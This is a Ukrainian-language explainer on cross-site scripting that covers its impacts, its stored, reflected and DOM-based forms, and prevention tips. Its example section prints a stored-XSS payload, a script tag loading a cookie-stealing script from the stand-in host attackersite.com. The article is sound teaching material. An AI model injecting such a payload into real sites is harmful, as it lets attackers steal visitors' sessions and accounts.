Міжсайтовий скриптинг – атака з використанням шкідливого коду на довірені веб-сайти. У процесі атаки відбувається впровадження шкідливих скриптів у контент веб-сайту. Потім ці скрипти включаються в динамічний контент, що відображається у браузері жертви. Браузер жертви не знає, що шкідливі скрипти не є довіреними і виконує їх.
В результаті шкідливі скрипти можуть отримати доступ до файлів cookie, ідентифікаторів сеансів та іншої конфіденційної інформації, збереженої браузером і використовуваної на цьому сайті. Зловмисники також можуть використовувати даний вид атаки для поширення шкідливих програм, перезапису вмісту веб-сайтів, створення проблем у соціальних мережах та фішингу з метою отримання облікових даних користувачів. Міжсайтовий скриптинг відрізняється від інших веб-атак тим, що не націлений безпосередньо на саму програму – ризику піддаються користувачі веб-додатку.
Як працює міжсайтовий скриптинг?
При атаці з використанням міжсайтового скриптингу (XSS) вразливий сайт потрібен лише для виконання на пристрої користувачів шкідливих скриптів. Часто в цих цілях застосовують JavaScript, але може використовуватись будь-яка клієнтська мова. Кіберзлочинці націлюються на веб-сайти з вразливими функціями, призначеними для введення даних користувачами: панелями пошуку, полями для введення коментарів, формами входу. Вони впроваджують шкідливий код на легальні веб-сайти, по суті змушуючи браузери обманним шляхом запускати шкідливі програми при кожному завантаженні сайту.
JavaScript запускається на сторінці браузера жертви, внаслідок чого конфіденційні дані про користувача, що здійснив вхід до системи, можуть бути викрадені з сеансу. Це використовується зловмисниками для атак на адміністраторів сайтів та злому самих сайтів.
Залежно від способу впровадження коду, шкідливий контент може бути навіть не на самій веб-сторінці, а бути тимчасовим елементом, який здається частиною веб-сайту на період атаки. Це може створити ілюзію компрометації реального веб-сайту, хоч це не так.
Існують різні способи ініціювати атаку з використанням міжсайтового скриптингу. Наприклад, виконання скрипту може запускатися автоматично під час завантаження сторінки або наведення курсору на певні елементи сторінки, такі як гіперпосилання. У деяких випадках атака з використанням міжсайтового скриптингу здійснюється безпосередньо, наприклад, із повідомлення електронної пошти. Деякі атаки з використанням міжсайтового скриптингу немає конкретної мети; зловмисники просто використовують вразливості у додатку або на сайті, і будь-хто може стати їхньою жертвою.
Залежно від масштабу атаки можуть бути скомпрометовані облікові записи користувачів, активовані троянські програми, змінено вміст сторінки, що змусить користувачів розкрити особисті дані. Можуть бути розкриті файли cookie сеансів, що дозволяє зловмисникам видавати себе за реальних користувачів і використовувати особисті облікові записи.
Успішна атака з використанням міжсайтового скриптингу може мати катастрофічні наслідки для репутації онлайн-компаній та їхніх взаємин із клієнтами. На жаль, вразливості, що допускають успішне здійснення атак із використанням міжсайтового скриптингу, є досить поширеними. За таких атак можуть використовуватися вразливості у різних середовищах програмування, включаючи VBScript, Flash, ActiveX та JavaScript. Насамперед ці атаки орієнтовані на JavaScript через його тісну інтеграцію з більшістю браузерів. Здатність працювати на найбільш популярних платформах робить атаки з використанням міжсайтового скриптингу небезпечними та поширеними.

Вплив міжсайтового скриптингу
Зловмисники можуть використовувати міжсайтовий скриптинг для вчинення таких шкідливих дій:
- Перенаправлення користувачів на шкідливі сайти.
- Запис натискань клавіш користувачами.
- Доступ до історії перегляду та вмісту буфера обміну.
- Запуск експлойтів веб-браузера (наприклад, браузера, що викликають збій).
- Отримання файлів cookie користувача, що увійшов на сайт.
- Крадіжка токена сеансу входу в систему, що дозволяє зловмиснику працювати з додатком від імені користувача, не знаючи його пароля.
- Примус користувача до відправки контрольованих зловмисником запитів на сервер.
- Зміна вмісту сторінки.
- Вимушення користувача обманним шляхом повідомити пароль від програми.
- Зараження комп’ютера користувача іншим шкідливим кодом за допомогою вразливостей веб-браузера, можливо, захоплення комп’ютера користувача.
У деяких випадках атаки з використанням міжсайтового скриптингу можуть призвести до повної компрометації облікового запису користувача. Зловмисники можуть обманним шляхом змусити користувачів ввести облікові дані у підробленій формі, з якої потім отримують всю інформацію. Облікові дані користувачів можуть використовуватися для крадіжки особистих даних та фінансового шахрайства.
Види міжсайтового скриптингу
Атаки з використанням міжсайтового скриптингу можна розділити на три основні категорії: збережені, відбиті та на основі DOM.
Збережені (постійні)
Збережені (постійні) міжсайтові скрипти вважаються найбільш небезпечними. Атаки з їх використанням виникають при збереженні введених користувачем даних з подальшим відображенням на веб-сторінці. Типові точки входу міжсайтових скриптів, що зберігаються, – це форуми, коментарі в блогах, профілі користувачів і поля для введення імені користувача. Зловмисники зазвичай використовують цю вразливість, впроваджуючи міжсайтові скрипти на популярні сторінки сайту або передаючи користувачеві посилання переходу на сторінку, що містить збережений скрипт. Користувач заходить на сторінку і скрипт виконується його браузером на стороні клієнта.
Відбиті (непостійні)
Відбитий (непостійний) – це найпоширеніший тип міжсайтового скриптингу. У цьому випадку скрипт повинен бути частиною запиту, надісланого на веб-сервер. Потім запит повертається (відбивається) назад таким чином, що відповідь HTTP включає дані із запиту HTTP. Зловмисники використовують шкідливі посилання, фішингові електронні листи та інші методи соціальної інженерії, щоб обманним шляхом змусити користувача надіслати запит на сервер. Відбиті дані використовуються при виконанні скрипта в браузері користувача.
Відбитий XSS не є постійною атакою, тому зловмисник повинен доставити шкідливий скрипт кожному користувачеві. Такі атаки часто відбуваються через соціальні мережі.
Міжсайтовий скриптинг на основі DOM
XSS на основі DOM використовує вразливість DOM-моделі (Document Object Model – об’єктної моделі документа), а не HTML. У відбитих та збережених атаках з використанням міжсайтового скриптингу дані, отримані внаслідок експлуатації вразливості, відображаються на сторінці відповіді. Однак при міжсайтовому скриптингу на основі DOM вихідний HTML-код атаки та відповідь збігатимуться, тобто дані не можуть бути отримані у відповіді на запит, їх можна отримати тільки в середовищі виконання або при дослідженні DOM-моделі сторінок.
Атаки з використанням міжсайтового скриптингу на основі DOM часто виконуються на стороні клієнта, а шкідливе навантаження не надсилається на сервер. Це ще більше ускладнює виявлення таких атак як за допомогою мережевих екранів веб-застосунків, так і для інженерів з безпеки, які виконують аналіз журналів серверів, оскільки вони не бачать самої атаки. Найчастіше використовують такі об’єкти DOM: веб-адресу (document.URL), якірна частина веб-адреси (location.hash) і адресу сторінки, з якої було здійснено перехід (document.referrer).
Приклади атак із використанням міжсайтового скриптингу
Під час перегляду веб-сайту, присвяченого електронній комерції, зловмисник виявляє вразливість, що дозволяє вбудовувати HTML-теги до розділу коментарів сайту. Вбудовані теги стають постійною функцією сторінки: браузер включає їх разом з рештою вихідного коду при кожному відкритті сторінки.
Зловмисник додає наступний коментар: Дуже корисний об’єкт. Повний огляд можна прочитати тут:
<script src=”http://attackersite.com/authstealer.js”></script>
Тепер при кожному доступі до сторінки розміщений у коментарі HTML-тег активує файл JavaScript, розміщений на іншому сайті, і дозволяє вкрасти файли cookie сеансів відвідувачів сторінки.
Файли cookie сеансів дозволяють зловмисникам зламувати облікові записи відвідувачів та отримувати доступ до їхньої особистої інформації та фінансових даних. Тим часом відвідувачі сторінки, можливо, навіть не прокрутили до розділу коментарів, і не підозрюють про те, що сталася атака.
На відміну від відбитої атаки, в якій скрипт активується під час переходу за посиланням, для збереженої атаки достатньо, щоб користувач тільки відвідав скомпрометовану веб-сторінку. Це збільшує масштаб атаки, наражаючи на небезпеку всіх відвідувачів сторінки, незалежно від того, наскільки вони обережні.
З точки зору зловмисника, постійні атаки з використанням міжсайтового скриптингу складніші в плані реалізації через труднощі з виявленням як веб-сайту, на який йде трафік, так і веб-сайту з вразливістю, що дозволяє вбудовувати постійні скрипти.
Запобігання атакам із використанням міжсайтового скриптингу
Щоб звести до мінімуму вразливості, що використовуються в атаках міжсайтового скриптингу, розробники та власники веб-сайтів повинні:
- Переконатися, що всі сторінки сайту, які приймають дані, що вводяться користувачами, відфільтровують коди, що вводяться, такі як HTML і JavaScript.
- Перевірити веб-програми на наявність вразливостей та виправляти їх відповідним чином.
- Оновлювати свій веб-сайт і серверне програмне забезпечення, щоб запобігти подальшому використанню вразливостей в атаках міжсайтового скриптингу.
Щоб не стати жертвою атаки з використанням міжсайтового скриптингу, користувачі повинні:
- Вимкнути виконання скриптів на сторінках, де немає потреби, або повністю відключити виконання скриптів.
- Не переходити за посиланнями у підозрілих повідомленнях електронної пошти та постах, оскільки це може призвести до злому сторінок.
- Перейти на веб-сайти безпосередньо, вводячи веб-адресу в адресний рядок браузера, а не з інших джерел або за посиланнями.
- Оновлювати програмне забезпечення, щоб не пропустити останні виправлення та патчі безпеки. Регулярне оновлення програмного забезпечення значно знизить кількість вразливостей, зокрема для атак з використанням міжсайтового скриптингу, на сайті або в додатку.
- Перевіряти та виявляти, які додатки є необхідними, а які використовуються рідко. Видалення додатків, що не використовуються, знижує кількість потенційних вразливостей.
- Використовувати високоякісне антивірусне програмне рішення для захисту пристроїв та даних. Це рішення блокує звичайні та складні загрози: віруси, програми-вимагачі, шпигунські програми та хакерські атаки.
